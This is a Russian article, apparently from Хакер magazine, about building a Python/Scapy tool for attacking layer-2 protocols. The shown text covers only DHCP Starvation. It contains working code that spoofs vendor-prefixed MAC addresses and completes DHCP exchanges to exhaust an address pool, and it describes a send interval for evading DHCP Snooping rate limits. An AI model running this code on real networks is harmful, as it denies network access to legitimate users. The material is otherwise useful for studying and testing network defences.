Сетевые протоколы под микроскопом. Реализуем атаки на DHCP, EIGRP, DTP и ARP в приложении на Python

Содержание статьи

  • Задумка
  • Концепция
  • DHCP
  • DHCP Starvation
  • Rogue DHCP
  • DHCP Release Spoofing
  • ARP
  • CAM Table Overflow
  • DTP Spoofing
  • EIGRP
  • EIGRP Poisoning
  • Злоупотребление K-значениями EIGRP
  • EIGRP Hello Flooding
  • Выводы

В этой статье я поз­наком­лю тебя с ата­ками EIGRP Abusing K-values, DTP Spoofing, DHCP Starvation, CAM Table Overflow и еще нес­коль­кими. Что­бы про­иллюс­три­ровать их, я при­веду код на Python, который исполь­зовал для соз­дания сво­его, более мощ­ного ана­лога ути­литы Yersinia.  

Задумка

Как‑то раз, ког­да я был сту­ден­том треть­его кур­са, у меня сто­яла задача написать кур­совую работу по тех­никам про­веде­ния атак на DHCP-сер­вер. Взяв эту тему, я начал вни­кать: что это за про­токол, как он работа­ет, какие есть ата­ки и так далее. Ког­да с теорией было покон­чено, дело оста­валось за малым: показать на прак­тике, как я реали­зовал ата­ку на DHCP-сер­вер. С прог­рамми­рова­нием я тог­да был зна­ком мало и уж точ­но не знал о том, как работа­ет манипу­ляция сетевы­ми пакета­ми.

Я начал копать под­ходящие тул­зы. Мое вни­мание прив­лекла Yersinia — ути­лита, в которую вхо­дят инс­тру­мен­ты для про­веде­ния атак на про­токо­лы L2, в том чис­ле и на DHCP. Она показа­лась мне мно­гообе­щающей и отно­ситель­но лег­кой в обра­щении и понима­нии. Я взял­ся за дело с энту­зиаз­мом, но доволь­но ско­ро я уже рас­качивал­ся перед экра­ном, дер­жась руками за голову. Что‑то явно шло не так.

Ни­како­го резуль­тата добить­ся не уда­валось, и спус­тя некото­рое вре­мя я таки выяс­нил, что проб­лема не в недос­татке у меня зна­ний, а в том, что сама тул­за не работа­ет как положе­но. Имен­но тог­да мне приш­ла в голову мысль написать свое, пра­виль­но работа­ющее при­ложе­ние.

Мо­жет быть, ата­ки на DHCP с Yersinia при некото­рых усло­виях про­вер­нуть и мож­но, но ата­ки на дру­гие про­токо­лы каналь­ного уров­ня не работа­ли вов­се! К тому же по час­ти юза­били­ти Yersinia хро­мала на обе ноги.

При­веду при­мер проб­лемы: если выб­рать ата­ку на совер­шенно любой про­токол, то в ответ поль­зователь не получа­ет прак­тичес­ки никакой информа­ции о ста­тусе ата­ки — запуще­на она или не запуще­на, перех­вачены какие‑либо пакеты или не перех­вачены, воз­никла ошиб­ка или нет и так далее.

По­мучив­шись с этим, я пре­исполнил­ся решимос­ти писать адек­ватную замену. К тому же была мысль реали­зовать под­дер­жку боль­шего чис­ла про­токо­лов. Нап­ример, Yersinia не работа­ет с про­токо­лами динами­чес­кой мар­шру­тиза­ции.

 

Концепция

Для раз­работ­ки я взял Python и биб­лиоте­ку Scapy, пред­назна­чен­ную для краф­тинга сетевых пакетов. В сум­ме это два мощ­ней­ших и отно­ситель­но прос­тых в исполь­зовании инс­тру­мен­та.

Вдо­бавок к это­му я решил соз­дать собс­твен­ное гра­фичес­кое при­ложе­ние, ана­логич­ное Yersinia, но с кор­рек­тно работа­ющи­ми ата­ками на сетевые про­токо­лы.

В качес­тве UI-биб­лиоте­ки я решил для начала взять что‑нибудь прос­тое и выб­рал CustomTkinter.

Свое детище я наз­вал Salmonella — тоже семей­ство энте­робак­терий по ана­логии с Yersinia.

Я вижу вза­имо­дей­ствие с при­ложе­нием так. На глав­ном экра­не я выбираю инте­ресу­ющий меня про­токол.

Да­лее мне пред­лага­ется выб­рать тех­нику ата­ки на этот про­токол.

Пос­ле выбора ата­ки откры­вает­ся отдель­ное окно, в котором мож­но вво­дить парамет­ры ата­ки, прос­лушивать сеть и так далее.

Прис­тупа­ем к кодиро­ванию!

 

DHCP

Моя пер­вая статья в «Хакере» как раз была пос­вящена теме атак на DHCP. В ней я под­робно писал, в час­тнос­ти, о том, что это за про­токол и какими сооб­щени­ями он опе­риру­ет. Здесь я пов­торю лишь основные тезисы.

Со­обще­ния DHCP. Для нор­маль­ной работы DHCP тре­бует­ся все­го четыре сооб­щения: DISCOVER, OFFER, REQUEST, ACK, запом­нить которые очень лег­ко по пер­вым бук­вам — DORA.

Кли­ент исполь­зует сооб­щение DISCOVER, что­бы най­ти DHCP-сер­веры. Если сер­вер получа­ет такое сооб­щение, он отправ­ляет кли­енту сооб­щение OFFER, где ука­зыва­ет сетевые парамет­ры, пред­лага­емые кли­енту. Если сер­веров нес­коль­ко, то каж­дый из них отве­тит.

Как пра­вило, кли­ент отве­чает тому сер­веру, сооб­щение которо­го приш­ло пер­вым. В ответ кли­ент шлет сооб­щение REQUEST. Сер­вер, уви­дев, что кли­ент при­нял его пред­ложение, резер­виру­ет пред­ложен­ный кли­енту IP-адрес у себя в памяти и отправ­ляет пос­леднее сооб­щение ACK, которое под­твержда­ет, что теперь кли­ент может исполь­зовать выдан­ные ему сетевые парамет­ры.

 

DHCP Starvation

Мы зна­ем, что DHCP-сер­вер ведет таб­лицу соот­ветс­твий выдан­ных кли­ентам IP-адре­сов и их MAC-адре­сов и что уже выдан­ный IP-адрес нель­зя пред­лагать дру­гому кли­енту. Суть ата­ки DHCP Starvation в том, что­бы «исто­щить» сер­вер DHCP, отправ­ляя лож­ные пакеты типа DHCPDISCOVER с ран­домны­ми MAC-адре­сами источни­ка. Сер­вер будет реаги­ровать на эти пакеты и резер­вировать сво­бод­ные IP-адре­са из пула, в резуль­тате чего некото­рое вре­мя (пока ата­ка в активной фазе) не смо­жет выдавать IP-адре­са обыч­ным поль­зовате­лям.

У Yersinia есть ряд проб­лем с ата­ками DHCP Starvation.

Пер­вая и глав­ная проб­лема — отправ­ка лишь сооб­щений DISCOVER. Вспом­ним, что для успешно­го вза­имо­дей­ствия кли­ент и сер­вер дол­жны отпра­вить друг дру­гу по два сооб­щения. Yersinia отправ­ляет толь­ко одно сооб­щение: пос­ле получе­ния OFFER от сер­вера она не шлет свой REQUEST, из‑за чего вза­имо­дей­ствие кли­ента и сер­вера не счи­тает­ся успешно завер­шенным. Имен­но поэто­му DHCP-сер­вер резер­виру­ет IP-адрес лишь через нес­коль­ко минут пос­ле того, как пред­ложил его кли­енту в сооб­щении OFFER.

Вто­рая проб­лема — груп­повые MAC-адре­са. В сооб­щени­ях DISCOVER в поле источни­ка Ethernet-кад­ра иног­да ука­зыва­ются груп­повые MAC-адре­са. DHCP-сер­вер не вос­при­нима­ет такие сооб­щения и прос­то игно­риру­ет их. А таким может быть каж­дое вто­рое сооб­щение.

Третья проб­лема: цель Yersinia — не исто­щить DHCP-сер­вер, а задушить отправ­кой огромно­го количес­тва DISCOVER-пакетов, что, по сути, явля­ется DoS.

Все эти проб­лемы я решил. Пос­мотрим на интерфейс ата­ки DHCP Starvation в моей ути­лите.

Тут мож­но ука­зать количес­тво отправ­ляемых пакетов, задать интервал для отправ­ки сооб­щений DISCOVER, выб­рать интерфейс и IP-адрес DHCP-сер­вера (если их нес­коль­ко и нужен кон­крет­ный). Воз­можность задать интервал отправ­ки для пакетов DISCOVER я добавил для обхо­да rate-limit у DHCP Snooping.

Те­перь давай пос­мотрим на код. Для начала я опре­деляю, какие выб­раны парамет­ры, и сох­раняю поль­зователь­ский ввод в перемен­ных:

# Если количество пакетов определяется вводом с клавиатурыif radiobutton_number_of_packages_var.get() == 1: number_of_packages = int(entry_number_of_packages.get()) + 1# Если количество пакетов определяется выбором из комбобоксаif radiobutton_number_of_packages_var.get() == 2: if combobox_number_of_packages.get() == "/20 (4096 addresses)": number_of_packages = 4097 if combobox_number_of_packages.get() == "/21 (2048 addresses)": number_of_packages = 2049 if combobox_number_of_packages.get() == "/22 (1024 addresses)": number_of_packages = 1025 if combobox_number_of_packages.get() == "/23 (512 addresses)": number_of_packages = 513 if combobox_number_of_packages.get() == "/24 (256 addresses)": number_of_packages = 257 if combobox_number_of_packages.get() == "/25 (128 addresses)": number_of_packages = 129 if combobox_number_of_packages.get() == "/26 (64 addresses)": number_of_packages = 65 if combobox_number_of_packages.get() == "/27 (32 addresses)": number_of_packages = 33 if combobox_number_of_packages.get() == "/28 (16 addresses)": number_of_packages = 17 if combobox_number_of_packages.get() == "/29 (8 addresses)": number_of_packages = 9 if combobox_number_of_packages.get() == "/30 (4 addresses)": number_of_packages = 5# Если выбран определенный DHCP-серверif radiobutton_dhcp_server_var.get() == 2: dhcp_server = entry_dhcp_server.get()# Если чекбокс не активен, то по умолчанию интервал равен нулюif checkbox_interval_var.get() == "off": interval = 0if checkbox_interval_var.get() == "on": interval = int(combobox_interval.get())

Итак, если не выб­ран опре­делен­ный IP-адрес DHCP-сер­вера:

# Если в качестве IP-адреса DHCP-сервера выбран любой IP-адресif radiobutton_dhcp_server_var.get() == 1:# Устанавливаем счетчик отправленных пакетов для уведомлений и диагностикиpackages_sent = 0# Устанавливаем цикл, по количеству итераций равный количеству отправляемых пакетовfor i in range(1, number_of_packages): # Функция для представления MAC-адреса в виде байтов def mac_to_bytes(mac_addr: str) -> bytes: return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big") # Формируем OUI mac_list = ["04:b0:e7:", "18:1e:b0:", # HUAWEI/Samsung "b8:ca:3a:", "fc:08:4a:", # Dell/Fujitsu "00:25:2e:", "2c:c2:53:", # Cisco/Apple "c4:65:16:", "38:d5:47:", # HP/ASUS "e4:1f:13:", "9c:32:ce:", # IBM/Canon "d0:28:ba:", "6c:24:83:", # Realme/Microsoft "44:90:46:", "74:d4:35:", # HONOR/GIGABYTE "88:70:8c:", "90:e8:68:", # Lenovo/AzureWave "a4:1a:6e:", "d0:c7:c0:", # ZTE/TPlink "c8:13:37:", "00:05:c9:", # Juniper/LG "24:21:ab:", "fc:75:16:", # Sony/D-Link "60:9c:9f:", "00:00:aa:"] # Brocade/Xerox # Генерируем оставшиеся три байта mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0x7f), random.randint(0x00, 0x7f)] # Приводим их в вид MAC-адреса client_mac = ':'.join(map(lambda x: '%02x' % x, mac)) # Генерируем уникальный идентификатор транзакции для четырех сообщений DORA xid = random.randint(0x00000000, 0xffffffff) # Объединяем OUI и вторые три байта client_mac = random.choice(mac_list) + client_mac

Уже пред­вку­шаю воп­росы про спи­сок mac_list! Сей­час пояс­ню.

Как я уже говорил, DHCP-сер­вер не реаги­рует на сооб­щения DHCP, в которых в качес­тве MAC-адре­са источни­ка ука­зан груп­повой MAC. Я начал исполь­зовать гло­баль­ные уни­каль­ные MAC-адре­са (с помощью RandMAC()), но резуль­тат ока­зал­ся таким же: мой DHCP-сер­вер на роуте­ре Cisco игно­риро­вал сооб­щение DISCOVER, а в Wireshark оно выг­лядело так, как буд­то я исполь­зовал груп­повые MAC-адре­са:

Тог­да я нашел инте­рес­ную информа­цию по это­му воп­росу:

То есть MAC-адрес дол­жен узна­вать­ся по пер­вым трем бай­там. Таким обра­зом, я погуг­лил и соб­рал пер­вые три бай­та (OUI) для обо­рудо­вания наибо­лее извес­тных вен­доров и сос­тавил спи­сок mac_list. При каж­дой генера­ции MAC-адре­са про­исхо­дит выбор слу­чай­ного OUI из это­го спис­ка.

Да­лее генери­рует­ся вто­рая (слу­чай­ная) часть MAC-адре­са и объ­еди­няет­ся с OUI слу­чай­но выб­ранно­го вен­дора. Уни­каль­ный гло­баль­ный MAC готов! Мой роутер Cisco стал реаги­ровать на каж­дый MAC-адрес, сге­нери­рован­ный таким обра­зом.

В сле­дующем бло­ке кода непос­редс­твен­но генери­руют­ся сооб­щения DHCP DISCOVER:

discover_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / DHCP(options=[("message-type", "discover"), "end"])response_for_discover = srp1(discover_packet, timeout=2, verbose=0, iface=combobox_interface.get())

От­прав­ляем сооб­щение discover_packet методом srp1 и ждем один ответ.

Даль­ше ана­лизи­руем получен­ный ответ. Запишем его в перемен­ную response_for_discover:

# Если ответ был получен и это DHCP OFFERif response_for_discover and response_for_discover[DHCP].options[0][1] == 2: options = response_for_discover[DHCP].options for i, item in enumerate(options): if item[0] == 'server_id': server_id = i if item[0] == 'router': router = i if item[0] == 'lease_time': lease_time = i if item[0] == 'subnet_mask': subnet_mask = i if item[0] == 'name_server': name_server = i request_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / DHCP(options=[("message-type", "request"), ("requested_addr", response_for_discover[BOOTP].yiaddr), ("server_id", response_for_discover[DHCP].options[server_id][1]), ("router", response_for_discover[DHCP].options[router][1]), ("name_server", response_for_discover[DHCP].options[name_server][1]), ("subnet_mask", response_for_discover[DHCP].options[subnet_mask][1]), ("lease_time", int(response_for_discover[DHCP].options[lease_time][1])), "end"]) response_for_request = srp1(request_packet, timeout=5, verbose=0, iface=combobox_interface.get())

Из сооб­щения OFFER, в котором DHCP-сер­вер пред­лага­ет нам свои сетевые парамет­ры (IP-адрес, мас­ка сети, IP-адрес DHCP-сер­вера, IP-адрес шлю­за по умол­чанию, DNS-сер­вер и вре­мя арен­ды), мы записы­ваем их в соот­ветс­тву­ющие перемен­ные. Часть этих парамет­ров пред­став­лена в виде опций. Это далеко не все парамет­ры, которые сер­вер пред­лага­ет кли­енту, но их дос­таточ­но, что­бы кли­ент мог нор­маль­но работать в сети.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *